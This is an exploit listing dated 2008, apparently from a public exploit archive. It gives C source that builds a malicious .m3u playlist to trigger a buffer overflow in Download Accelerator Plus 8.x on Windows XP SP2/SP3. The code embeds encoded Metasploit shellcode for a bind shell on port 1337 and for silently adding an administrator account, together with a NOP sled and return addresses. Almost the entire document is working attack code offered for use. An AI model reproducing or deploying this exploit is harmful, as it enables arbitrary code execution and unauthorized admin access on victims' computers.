[2008-07-11] Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit   [.c]

CODE

#include <stdio.h> #include <stdlib.h> /* Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability SecurityFocus Advisory: Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application.Failed exploit attempts will cause denial-of-service conditions. Vulnerability discoverd by Krystian Kloskowski (h07) <h07@interia.pl> Original POC by h07 http://www.milw0rm.com/exploits/6030 This poc will create a "special" .m3u file that when imported in DAP and then checked with the verifiy button will cause a buffer overflow and lead to exploitation.Run the program with no args for usage info or just look in the code. :P Tested on Windows XP English sp2&sp3. C Exploit code by Shinnok raydenxy [at] yahoo dot com /* /* win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */ unsigned char bind_scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58" "\x4e\x36\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x48\x4e\x57" "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38" "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x58" "\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44" "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x48" "\x49\x38\x4e\x36\x46\x32\x4e\x51\x41\x36\x43\x4c\x41\x33\x4b\x4d" "\x46\x36\x4b\x38\x43\x54\x42\x53\x4b\x38\x42\x34\x4e\x50\x4b\x58" "\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x55\x4a\x36" "\x50\x58\x50\x34\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x47" "\x44\x53\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e" "\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x50" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x44" "\x43\x45\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x45\x50" "\x49\x43\x48\x56\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a" "\x4c\x31\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x31" "\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d" "\x42\x55\x46\x55\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56" "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x46" "\x4d\x46\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x55\x49\x42\x4e\x4c" "\x49\x58\x47\x4e\x4c\x46\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x42" "\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f" "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x46" "\x41\x50\x41\x35\x41\x45\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46" "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f" "\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x55\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a"; /* win32_adduser - PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */ unsigned char user_scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x33\x4b\x58\x4e\x57" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58" "\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54" "\x4b\x58\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58" "\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x47" "\x4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b" "\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43" "\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47" "\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x36\x4a\x39" "\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x4d\x46" "\x46\x46\x50\x42\x45\x56\x4a\x47\x45\x46\x42\x52\x4f\x52\x43\x36" "\x42\x32\x50\x46\x45\x46\x46\x57\x42\x52\x45\x47\x43\x37\x45\x36" "\x44\x37\x42\x32\x46\x37\x45\x36\x43\x47\x46\x37\x42\x42\x46\x37" "\x45\x36\x43\x37\x46\x37\x42\x52\x4f\x52\x41\x44\x46\x54\x46\x44" "\x42\x52\x48\x42\x48\x32\x42\x32\x50\x36\x45\x56\x46\x57\x42\x42" "\x4e\x36\x4f\x36\x43\x56\x41\x36\x4e\x56\x47\x46\x44\x37\x4f\x36" "\x45\x37\x42\x37\x42\x42\x41\x34\x46\x46\x4d\x56\x49\x56\x50\x46" "\x49\x56\x43\x57\x46\x37\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37" "\x43\x57\x42\x52\x46\x47\x45\x56\x43\x37\x46\x47\x42\x32\x4f\x52" "\x41\x34\x46\x34\x46\x34\x42\x30\x5a"; unsigned char ra_sp2[] = "\xcf\xbc\x08\x76"; //msvcp60.dll unsigned char ra_sp3[] = "\xe1\xbc\x08\x76"; //msvcp60.dll unsigned char nops1[14115]; //14115 * \x90 unsigned char nops2[30]; //30 * \x90 int main(int argc, char **argv) { int i; FILE* f; char* ra=NULL; char* scode=NULL; printf("[+] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability\n"); printf("[+] Discovered by Krystian Kloskowski (h07) <h07@interia.pl>\n"); printf("[+] Code by Shinnok raydenxy[at]yahoo dot com\n"); if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){ printf("Usage: %s target payload\n",argv[0]); printf("Where target is:\n"); printf("0: WinXP SP2\n"); printf("1: WinXP SP3\n"); printf("Where payload is:\n"); printf("0: bind shell on 1337\n"); printf("1: add admin user \"test\" with password \"test\"\n"); return EXIT_SUCCESS; } for(i=0;i<14115;i++) nops1[i]='\x90'; nops1[14115]='\0'; for(i=0;i<30;i++) nops2[i]='\x90'; nops2[30]='\0'; if(atoi(argv[1])==0) ra=ra_sp2; else ra=ra_sp3; if(atoi(argv[2])==0) scode=bind_scode; else scode=user_scode; f=fopen("sploit.m3u","wb"); fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'\xd','\xa'); fflush(f); fclose(f); printf("sploit.m3u created!\n"); return EXIT_SUCCESS; }